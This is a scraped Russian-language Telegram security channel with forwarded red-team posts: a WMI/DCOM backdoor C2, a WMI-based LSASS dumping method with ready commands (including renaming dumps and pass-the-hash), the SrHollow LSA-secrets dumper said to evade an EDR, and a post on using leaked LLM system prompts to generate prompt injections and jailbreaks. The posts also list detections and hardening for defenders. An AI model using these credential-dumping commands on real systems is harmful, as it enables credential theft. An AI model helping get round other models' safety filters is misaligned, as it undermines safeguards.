Forwarded from s0ld13r ch. (s0ld13r)
WMIHACKER 2.0 CAME BACK 👾
WMIHACKER 2.0 — бэкдор построенный как модульный C2 через WMI/DCOM. В исследовании будем разбирать его архитектуру, примеры применения в Red Team/Adversary Emulation операциях и детекты🛡
Фичей инструмента является использование ресурсов атакуемой инфраструктуры, как С2. Т.е вооружение уже скомпрометированных хостов на этапе закрепления🇵🇰
В посте я еще разобрал отличие симметричной и ассиметричной С2 инфраструктуры, описал принцип работы бэкдора через кастомные ICMP ECHO запросы и коммуникацию с С2. Приятного чтения!😘
Вдохновение подчерпнул из поста @ThreatHuntingFather про цепочку атаки АРТ группировки EARTH KURMA🦔
🔗 Link: https://www.s0ld13r.kz/posts/wmihacker-2.0/
5️⃣ Repo: https://github.com/s0ld13rr/WMIHACKER
P.S Сделано для Red Team и ресерча. Не для зла — для понимания🙏
#RedTeam #APT #Research
🧢 s0ld13r
WMIHACKER 2.0 — бэкдор построенный как модульный C2 через WMI/DCOM. В исследовании будем разбирать его архитектуру, примеры применения в Red Team/Adversary Emulation операциях и детекты
Фичей инструмента является использование ресурсов атакуемой инфраструктуры, как С2. Т.е вооружение уже скомпрометированных хостов на этапе закрепления
В посте я еще разобрал отличие симметричной и ассиметричной С2 инфраструктуры, описал принцип работы бэкдора через кастомные ICMP ECHO запросы и коммуникацию с С2. Приятного чтения!
Вдохновение подчерпнул из поста @ThreatHuntingFather про цепочку атаки АРТ группировки EARTH KURMA
🔗 Link: https://www.s0ld13r.kz/posts/wmihacker-2.0/
P.S Сделано для Red Team и ресерча. Не для зла — для понимания
#RedTeam #APT #Research
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2👍1
Forwarded from Malware Anatomy
🔥 Тихий дамп LSASS через WMI: включаем провайдер MSFT_MTProcess
Когда procdump.exe шумит, на сцену выходит WMI. Провайдер MSFT_MTProcess умеет:
⚙️ CreateProcess — удалённый запуск команды (аналог Win32_Process.Create)
🧪 CreateDump — дамп процесса через dbghelp.dll → MiniDumpWriteDump, причём делает это WmiPrvSE.exe, а не ваш «левый» exe.
🖥 Из коробки на Windows Server 2016+; на рабочих станциях — можно доставить провайдер.
🧰 Инструменты и зачем они нужны
1) WMI_Proc_Dump.py
🎯 Для чего: точечно снять дамп нужного процесса (по PID/имени) удалённо.
✅ Плюсы: без дропа утилит на диск; тише, чем procdump; по умолчанию пишет в C:\Windows\Temp\<Process>.dmp, можно переименовать.
2) mtprocess.py
🎯 Для чего: запустить команду через CreateProcess и/или установить провайдер MTProcess на рабочей станции.
✅ Плюсы: открывает те же возможности на клиентских ОС; «легальный» канал выполнения через WMI.
Общая ценность
🕵️ OPSEC: инициатор — WmiPrvSE.exe, многие сигнатуры на сторонние дамперы не срабатывают.
📦 Минимум артефактов: используются системные компоненты (dbghelp.dll).
🧩 Гибкость: переименование дампа, скачивание по SMB; пароль/NTLM/Kerberos-аутентификация.
🚀 Быстрые примеры
Дамп через WMI_Proc_Dump.py
Выполнение/установка через mtprocess.py
🧾 Аутентификация: пароль / -hashes LMHASH:NTHASH / Kerberos -k / -aesKey, доп. -dc-ip, -target-ip, -no-pass.
⚠️ Важные моменты
🔑 Права: админ + SeDebugPrivilege (для LSASS), доступ WMI/DCOM.
🧭 Следы: WmiPrvSE.exe подгружает dbghelp.dll, трогает память целевого процесса; .dmp появляется в C:\Windows\Temp\ (или с вашим именем).
📡 Логи/детект:
• WMI-Activity (Event ID 10) — вызовы методов;
• Sysmon (EID 7/11/1) — модули/файлы/процессы;
• Сеть: DCOM/RPC (135/TCP + динамические порты).
🧱 Ограничения: MTProcess «из коробки» только на Server 2016+; на рабочих станциях — ставим провайдер.
🛡 Укрепление защиты для Blue Team: RunAsPPL / Credential Guard, минимизировать/аудировать Remote WMI, правила на MiniDumpWriteDump и появление крупных .dmp в системных путях.
🧾 TL;DR
Используем MSFT_MTProcess.CreateDump для более тихого дампа LSASS через WMI — дамп делает WmiPrvSE.exe с dbghelp.dll, без дропа procdump.
Сервера (2016+) — работают сразу; рабочие станции — через mtprocess.py -install.
Команды: wmi-proc-dump.py -proc lsass.exe [-rename …] [-download] и mtprocess.py -exec ….
🕵️ Вывод: «С большой силой приходит большая ответственность.» — дядя Бен.
Используем знания только там, где нам это разрешили.
👾 Malware Anatomy
#WMI #LSASS #MSFT_MTProcess #RedTeam #DFIR #Windows #EDR #OPSEC
Когда procdump.exe шумит, на сцену выходит WMI. Провайдер MSFT_MTProcess умеет:
⚙️ CreateProcess — удалённый запуск команды (аналог Win32_Process.Create)
🧪 CreateDump — дамп процесса через dbghelp.dll → MiniDumpWriteDump, причём делает это WmiPrvSE.exe, а не ваш «левый» exe.
🖥 Из коробки на Windows Server 2016+; на рабочих станциях — можно доставить провайдер.
🧰 Инструменты и зачем они нужны
1) WMI_Proc_Dump.py
🎯 Для чего: точечно снять дамп нужного процесса (по PID/имени) удалённо.
✅ Плюсы: без дропа утилит на диск; тише, чем procdump; по умолчанию пишет в C:\Windows\Temp\<Process>.dmp, можно переименовать.
2) mtprocess.py
🎯 Для чего: запустить команду через CreateProcess и/или установить провайдер MTProcess на рабочей станции.
✅ Плюсы: открывает те же возможности на клиентских ОС; «легальный» канал выполнения через WMI.
Общая ценность
🕵️ OPSEC: инициатор — WmiPrvSE.exe, многие сигнатуры на сторонние дамперы не срабатывают.
📦 Минимум артефактов: используются системные компоненты (dbghelp.dll).
🧩 Гибкость: переименование дампа, скачивание по SMB; пароль/NTLM/Kerberos-аутентификация.
🚀 Быстрые примеры
Дамп через WMI_Proc_Dump.py
# по PID
python wmi-proc-dump.py user:pass@host -pid 580
# по имени
python wmi-proc-dump.py user:pass@host -proc lsass.exe
# переименовать
python wmi-proc-dump.py user:pass@host -proc lsass.exe -rename chrome-debug.dmp
# скачать по SMB
python wmi-proc-dump.py user:pass@host -proc lsass.exe -download
Выполнение/установка через mtprocess.py
# запуск на сервере
python mtprocess.py -exec user:pass@host calc.exe
# запуск на рабочей станции (CIMv2)
python mtprocess.py -exec -cimv2 user:pass@host calc.exe
# установить MTProcess на рабочку
python mtprocess.py -install user:pass@host
🧾 Аутентификация: пароль / -hashes LMHASH:NTHASH / Kerberos -k / -aesKey, доп. -dc-ip, -target-ip, -no-pass.
⚠️ Важные моменты
🔑 Права: админ + SeDebugPrivilege (для LSASS), доступ WMI/DCOM.
🧭 Следы: WmiPrvSE.exe подгружает dbghelp.dll, трогает память целевого процесса; .dmp появляется в C:\Windows\Temp\ (или с вашим именем).
📡 Логи/детект:
• WMI-Activity (Event ID 10) — вызовы методов;
• Sysmon (EID 7/11/1) — модули/файлы/процессы;
• Сеть: DCOM/RPC (135/TCP + динамические порты).
🧱 Ограничения: MTProcess «из коробки» только на Server 2016+; на рабочих станциях — ставим провайдер.
🛡 Укрепление защиты для Blue Team: RunAsPPL / Credential Guard, минимизировать/аудировать Remote WMI, правила на MiniDumpWriteDump и появление крупных .dmp в системных путях.
🧾 TL;DR
Используем MSFT_MTProcess.CreateDump для более тихого дампа LSASS через WMI — дамп делает WmiPrvSE.exe с dbghelp.dll, без дропа procdump.
Сервера (2016+) — работают сразу; рабочие станции — через mtprocess.py -install.
Команды: wmi-proc-dump.py -proc lsass.exe [-rename …] [-download] и mtprocess.py -exec ….
🕵️ Вывод: «С большой силой приходит большая ответственность.» — дядя Бен.
Используем знания только там, где нам это разрешили.
👾 Malware Anatomy
#WMI #LSASS #MSFT_MTProcess #RedTeam #DFIR #Windows #EDR #OPSEC
GitHub
GitHub - 0xthirteen/WMI_Proc_Dump: Dump processes over WMI with MSFT_MTProcess
Dump processes over WMI with MSFT_MTProcess. Contribute to 0xthirteen/WMI_Proc_Dump development by creating an account on GitHub.
🔥2
Forwarded from SecuriXy.kz
🤖 System Prompts топ-LLM - как устроены изнутри "мозги" ChatGPT, Claude, Gemini, Grok и др.
В открытый доступ выложены полные системные инструкции крупнейших AI-моделей. Не веса, не пользовательские данные - а именно те правила, по которым модель думает, фильтрует и отвечает. Десятки тысяч токенов внутренней кухни каждого вендора.
Это не утечка в классическом смысле - промпты извлечены через prompt injection, модели сами их отдают при правильном запросе. Но собранная коллекция в одном месте с актуальными версиями (31k+ stars, регулярные обновления) - это готовый справочник для атак.
⚠️ Что это дает red team:
1. Точная структура safety-фильтров и их формулировки - видно что и как обходить
2. На основе промптов другая LLM генерирует целевые prompt injection и jailbreak сценарии
3. Незаменимо при пентесте AI-powered приложений, где LLM встроена в бизнес-логику
Модели при тесте сами подтверждают что это их инструкции.
Коллега @VladPetrushin уже проверил на практике - скармливаем system prompt одной модели в другую, вводим в режим доверия, и она пишет рабочие prompt injection под конкретный таргет.
🔗 Репо: Github
🔗 Примеры: LinkedIn
#llm #promptinjection #aisecurity #redteam
В открытый доступ выложены полные системные инструкции крупнейших AI-моделей. Не веса, не пользовательские данные - а именно те правила, по которым модель думает, фильтрует и отвечает. Десятки тысяч токенов внутренней кухни каждого вендора.
Это не утечка в классическом смысле - промпты извлечены через prompt injection, модели сами их отдают при правильном запросе. Но собранная коллекция в одном месте с актуальными версиями (31k+ stars, регулярные обновления) - это готовый справочник для атак.
⚠️ Что это дает red team:
1. Точная структура safety-фильтров и их формулировки - видно что и как обходить
2. На основе промптов другая LLM генерирует целевые prompt injection и jailbreak сценарии
3. Незаменимо при пентесте AI-powered приложений, где LLM встроена в бизнес-логику
Модели при тесте сами подтверждают что это их инструкции.
Коллега @VladPetrushin уже проверил на практике - скармливаем system prompt одной модели в другую, вводим в режим доверия, и она пишет рабочие prompt injection под конкретный таргет.
🔗 Репо: Github
🔗 Примеры: LinkedIn
#llm #promptinjection #aisecurity #redteam
1❤1🔥1
Forwarded from SecuriXy.kz
🔑 SrHollow - дамп LSA secrets без касания к LSASS
Очередной дампер секретов Windows, но с необычным вектором: он вообще не открывает процесс
Автор заявляет, что SentinelOne (S1) не срабатывает. Если в энгейджменте классические дамперы уже горят на EDR - стоит держать в наборе.
📖 Как работает:
1. Перечисляет объекты через
2. Если теней нет - создает точку восстановления вызовом
3. Включает
4. Читает
5. Парсит формат regf своим кодом и выводит BootKey и LSA-ключ
6. Расшифровывает все секреты AES-256 через
📦 Под капотом:
Один C#-файл на ~350 строк без внешних зависимостей плюс 4 стадии на PowerShell. Компилируется на месте через Add-Type или csc.exe, на диск ничего своего не кладет
🛡 Применение:
Пост-эксплуатация на Windows при локальном админе: пароли служб, кэш доменных логинов, ключи DPAPI для дальнейшего разбора credential stores
⚠️ Ограничения:
1. Нужен локальный админ - без
2. Нужна запускаемая служба VSS
3. Заявка про SentinelOne - результат проверки на одном стенде, не гарантия
4. Если теней не было и создалась точка восстановления - событие попадает в лог, и это уже шумно
🔍 Обнаружение:
Аудит доступа к
🔗 https://github.com/ivancabrera02/SrHollow
#redteam #pentest #windows #edr #dfir #tools
Очередной дампер секретов Windows, но с необычным вектором: он вообще не открывает процесс
lsass.exe. Кусты SECURITY и SYSTEM вытягиваются из теневой копии тома - того же VSS, которым пользуются штатные бэкапы - и расшифровываются в userland.Автор заявляет, что SentinelOne (S1) не срабатывает. Если в энгейджменте классические дамперы уже горят на EDR - стоит держать в наборе.
📖 Как работает:
1. Перечисляет объекты через
NtOpenDirectoryObject, выбирает старшую теневую копию HarddiskVolumeShadowCopyN2. Если теней нет - создает точку восстановления вызовом
SRSetRestorePointW3. Включает
SeBackupPrivilege в текущем токене4. Читает
SECURITY и SYSTEM из тени через CreateFileW с флагом FILE_FLAG_BACKUP_SEMANTICS 5. Парсит формат regf своим кодом и выводит BootKey и LSA-ключ
6. Расшифровывает все секреты AES-256 через
bcrypt.dll📦 Под капотом:
Один C#-файл на ~350 строк без внешних зависимостей плюс 4 стадии на PowerShell. Компилируется на месте через Add-Type или csc.exe, на диск ничего своего не кладет
🛡 Применение:
Пост-эксплуатация на Windows при локальном админе: пароли служб, кэш доменных логинов, ключи DPAPI для дальнейшего разбора credential stores
⚠️ Ограничения:
1. Нужен локальный админ - без
SeBackupPrivilege ничего не выйдет2. Нужна запускаемая служба VSS
3. Заявка про SentinelOne - результат проверки на одном стенде, не гарантия
4. Если теней не было и создалась точка восстановления - событие попадает в лог, и это уже шумно
🔍 Обнаружение:
Аудит доступа к
C:\Windows\System32\config\SECURITY и SYSTEM от powershell.exe (4663), включение SeBackupPrivilege в не-бэкапном процессе, создание точки восстановления вне окна обновлений. Имена стадий Stage1-Recon.ps1, Stage1b-ReadShadowHives.ps1, Stage2-Decrypt.ps1, Stage3-Report.ps1 - готовые IOC🔗 https://github.com/ivancabrera02/SrHollow
#redteam #pentest #windows #edr #dfir #tools
`🔥2👍1